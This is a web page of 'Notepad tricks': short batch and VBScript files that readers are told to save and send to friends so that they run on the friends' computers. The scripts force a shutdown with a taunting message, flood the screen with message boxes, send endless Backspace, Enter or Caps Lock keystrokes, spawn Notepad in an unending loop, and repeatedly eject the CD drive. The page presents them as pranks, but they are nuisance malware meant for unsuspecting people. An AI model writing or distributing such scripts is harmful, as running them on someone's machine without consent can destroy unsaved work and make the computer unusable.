Notepad Tricks

Convey your friend a message and shut down his/ her computer.
Type :

    @echo off
    msg * I don’t like you
    shutdown -c “Hahahah You are Doomed” -s

Save it as pc.bat and send it to your friends.
Toggle your friend’s Caps Lock button simultaneously
Type :

    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{CAPSLOCK}”
    loop

Save it as pc.vbs and send it to your friends.

Cycle a message in your friend’s computer.
Type :

    @ECHO off
    :Begin
    msg * Hi
    msg * Are you having fun?
    msg * I am!
    msg * Lets have fun together!
    msg * Because you have been o-w-n-e-d
    GOTO BEGIN

Save it as pc.bat and send it to your friends.

Make Keyboard Keys Type Continuously:
Type :

    MsgBox “stop me..! if you can”
    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{bs}”
    loop

Save it as pc.vbs and send it to your friends.

Frustrate your friend by making their keyboard hit Enter simultaneously whenever they press a key :
Type :

    Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “~(enter)”
    loop

Save it as pc.vbs and send it to your friends.

Trick to fool your friend’s keyboard and make him type “You are a fool” simultaneously:
Type :

    Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “You are a fool.”
    loop

Save it as pc.vbs and send it to your friends.

Open Notepad, slowly type anythingand freak your friends out:
Type :

    WScript.Sleep 180000
    WScript.Sleep 10000
    Set WshShell = WScript.CreateObject(“WScript.Shell”)
    WshShell.Run “notepad”
    WScript.Sleep 100
    WshShell.AppActivate “Notepad”
    WScript.Sleep 500
    WshShell.SendKeys “Hel”
    WScript.Sleep 500
    WshShell.SendKeys “lo “
    WScript.Sleep 500
    WshShell.SendKeys “, ho”
    WScript.Sleep 500
    WshShell.SendKeys “w a”
    WScript.Sleep 500
    WshShell.SendKeys “re “
    WScript.Sleep 500
    WshShell.SendKeys “you”
    WScript.Sleep 500
    WshShell.SendKeys “? “
    WScript.Sleep 500
    WshShell.SendKeys “I a”
    WScript.Sleep 500
    WshShell.SendKeys “m g”
    WScript.Sleep 500
    WshShell.SendKeys “ood”
    WScript.Sleep 500
    WshShell.SendKeys ” th”
    WScript.Sleep 500
    WshShell.SendKeys “ank”
    WScript.Sleep 500
    WshShell.SendKeys “s! “

Save it as pc.vbs and send it to your friends.

Frustrate your friend by making their keyboard hit Backspace simultaneously whenever they press a key :
Type :

    MsgBox “Let’s rock and roll”
    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{bs}”
    loop

Save it as pc.vbs and send it to your friends.

Open Notepad continuously in your friend’s computer:
Type :

    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top

Save it as pc.bat and send it.

Continuously pop out your friend’s CD or DVD Drive.
Type :

    Set oWMP = CreateObject(“WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop

Save it as pc.vbs and send it to your friends.